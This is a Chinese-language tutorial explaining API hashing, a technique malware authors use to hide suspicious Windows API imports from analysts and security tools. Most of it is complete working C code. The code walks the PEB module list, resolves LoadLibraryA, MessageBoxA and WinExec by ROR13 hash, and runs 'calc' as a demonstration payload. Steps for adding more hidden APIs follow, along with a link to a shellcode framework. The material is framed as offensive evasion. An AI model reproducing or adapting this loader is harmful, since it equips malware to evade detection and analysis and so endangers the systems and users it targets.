API Hashing,恶意软件开发者利用这种技术来隐藏从PE的IAT中导入的可疑WindowsAPI
,从而提高恶意软件分析和检测难度。
Windows API哈希是一些恶意软件用来避免安全软件检测的技术。该技术涉及使用哈希值(从一段数据生成的唯一值)来标识特定的Windows API(应用程序编程接口)函数。这种技术背后的想法是,安全软件通常使用这些函数的名称来识别恶意软件,因此通过使用哈希值而不是名称,恶意软件可以避免被检测。需要注意的是,这项技术并非万无一失,并且可以被使用其他方法识别恶意活动的安全软件击败。此外,使用这种技术可能会使恶意软件更难分析和逆向工程,这会使其更危险。
问题
如果我们看到二进制文件加载了Ws2_32.dll,基本上就可以断定该恶意程序包含了一些网络功能
如果发现导入了一个RegCreateKeyEx API函数,我们就知道这个恶意程序提供了修改注册表的功能,等等
解决方案
当然恶意开发者,肯定希望避免上述情况,利用 API Hashing,隐藏导入得API,分析人员不深入分析得话很难搞懂这些恶意代码具体行为
演示
这里假设恶意程序Payload:调用 WinEXec API执行系统恶意命令
方便演示恶意命令为:calc 弹出计算机
编译之后,用CFF Explorer工具检查该exe,发现调用了kernel32.dll导入了WinExec API函数
IAT表完好无损:WinExec直接暴露
可以断定该程序调用了执行系统命令API
实现流程
- 获取指定API在本程序得静态库得基址 例:WinExec 在kernel32.dll中
- 查找kernel32.dll遍历每个导出的函数名
- 对于每个导出的函数名,计算其哈希值
- 计算出哈希值对应WinExec得哈希值,导出该对应地址hash
- 通过哈希获取API函数地址, 完成API Hashing利用
获取hash地址
hash地址加载利用
#include <windows.h>
#include <winternl.h>
#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"user32.lib")
#pragma comment(linker,"/entry:Loding_Main")
#define HASH_LoadLibraryA 0x0726774C
#define HASH_MessageBoxA 0x07568345
//WinExec
#define HASH_WinExec 0x876F8B31
//定义函数指针
typedef HMODULE(WINAPI* pfnLoadLibraryA)(LPCSTR lpLibFileName);
typedef int (WINAPI* pfnMessageBoxA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
typedef UINT(WINAPI* pfnWinExec)(__in LPCSTR lpCmdLine, __in UINT uCmdShow);
//重新定义PEB结构。winternl.h中的结构定义是不完整的。
typedef struct _MY_PEB_LDR_DATA {
ULONG Length;
BOOL Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} MY_PEB_LDR_DATA, * PMY_PEB_LDR_DATA;
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, * PMY_LDR_DATA_TABLE_ENTRY;
//函数指针结构体
typedef struct _FUNCTIONS
{
pfnLoadLibraryA fnLoadLibraryA;
pfnMessageBoxA fnMessageBoxA;
//WinExec
pfnWinExec fnWinExec;
}Functions, * Pfunctions;
void Initfunctions(Pfunctions pfn);
HMODULE GetProcAddressWithHash(DWORD dwModuleFunctionHash);
//计算哈希值
#define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))
HMODULE GetProcAddressWithHash(DWORD dwModuleFunctionHash)
{
PPEB PebAddress;
PMY_PEB_LDR_DATA pLdr;
PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry;
PVOID pModuleBase;
PIMAGE_NT_HEADERS pNTHeader;
DWORD dwExportDirRVA;
PIMAGE_EXPORT_DIRECTORY pExportDir;
PLIST_ENTRY pNextModule;
DWORD dwNumFunctions;
USHORT usOrdinalTableIndex;
PDWORD pdwFunctionNameBase;
PCSTR pFunctionName;
UNICODE_STRING BaseDllName;
DWORD dwModuleHash;
DWORD dwFunctionHash;
PCSTR pTempChar;
DWORD i;
#if defined(_WIN64)
PebAddress = (PPEB)__readgsqword(0x60);
#elif defined(_M_ARM)
PebAddress = (PPEB)((ULONG_PTR)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0);
__emit(0x00006B1B);
#else
PebAddress = (PPEB)__readfsdword(0x30);
#endif
pLdr = (PMY_PEB_LDR_DATA)PebAddress->Ldr;
pNextModule = pLdr->InLoadOrderModuleList.Flink;
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY)pNextModule;
while (pDataTableEntry->DllBase != NULL)
{
dwModuleHash = 0;
pModuleBase = pDataTableEntry->DllBase;
BaseDllName = pDataTableEntry->BaseDllName;
pNTHeader = (PIMAGE_NT_HEADERS)((ULONG_PTR)pModuleBase + ((PIMAGE_DOS_HEADER)pModuleBase)->e_lfanew);
dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
//获取下一个模块地址
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY)pDataTableEntry->InLoadOrderLinks.Flink;
// 如果当前模块不导出任何函数,则转到下一个模块 加载模块入口
if (dwExportDirRVA == 0)
{
continue;
}
//计算模块哈希值
for (i = 0; i < BaseDllName.MaximumLength; i++)
{
pTempChar = ((PCSTR)BaseDllName.Buffer + i);
dwModuleHash = ROTR32(dwModuleHash, 13);
if (*pTempChar >= 0x61)
{
dwModuleHash += *pTempChar - 0x20;
}
else
{
dwModuleHash += *pTempChar;
}
}
pExportDir = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)pModuleBase + dwExportDirRVA);
dwNumFunctions = pExportDir->NumberOfNames;
pdwFunctionNameBase = (PDWORD)((PCHAR)pModuleBase + pExportDir->AddressOfNames);
for (i = 0; i < dwNumFunctions; i++)
{
dwFunctionHash = 0;
pFunctionName = (PCSTR)(*pdwFunctionNameBase + (ULONG_PTR)pModuleBase);
pdwFunctionNameBase++;
pTempChar = pFunctionName;
do
{
dwFunctionHash = ROTR32(dwFunctionHash, 13);
dwFunctionHash += *pTempChar;
pTempChar++;
} while (*(pTempChar - 1) != 0);
dwFunctionHash += dwModuleHash;
if (dwFunctionHash == dwModuleFunctionHash)
{
usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR)pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i));
return (HMODULE)((ULONG_PTR)pModuleBase + *(PDWORD)(((ULONG_PTR)pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex)));
}
}
}
return NULL;
}
void Initfunctions(Pfunctions pfn)
{
//获取LoadLibraryA函数地址
pfn->fnLoadLibraryA = (pfnLoadLibraryA)GetProcAddressWithHash(HASH_LoadLibraryA);
//将user32.dll加载到当前进程中
char szUser32[] = { 'u', 's', 'e', 'r', '3', '2', '.', 'd', 'l', 'l', 0 };
pfn->fnLoadLibraryA(szUser32);
//获取MessageBoxA函数地址
pfn->fnMessageBoxA = (pfnMessageBoxA)GetProcAddressWithHash(HASH_MessageBoxA);
//获取WinExec函数地址
pfn->fnWinExec = (pfnWinExec)GetProcAddressWithHash(HASH_WinExec);
}
void ShellCode()
{
Functions fn;
//动态获取所有需要的函数指针
Initfunctions(&fn);
char eval[] = { 'c','a','l','c',0 };
fn.fnMessageBoxA(NULL,eval,eval,MB_OK);
fn.fnWinExec(eval, SW_SHOW);
//WinExec(eval, SW_SHOW);
}
int Loding_Main() {
ShellCode();
return 0;
}
步骤-1
定义WinExec hash函数地址
步骤-2
转到WinExec声明,复制声明
步骤-3
粘贴到,定义函数指针
步骤-4
定义函数指针结构体
添加了WinExec
步骤-5
获取WinExec函数地址
步骤-6
调用WinExec
API Hashing简单显示
参考:@ired.team
项目地址:https://github.com/TonyChen56/ShellCodeFrame/blob/master/README.md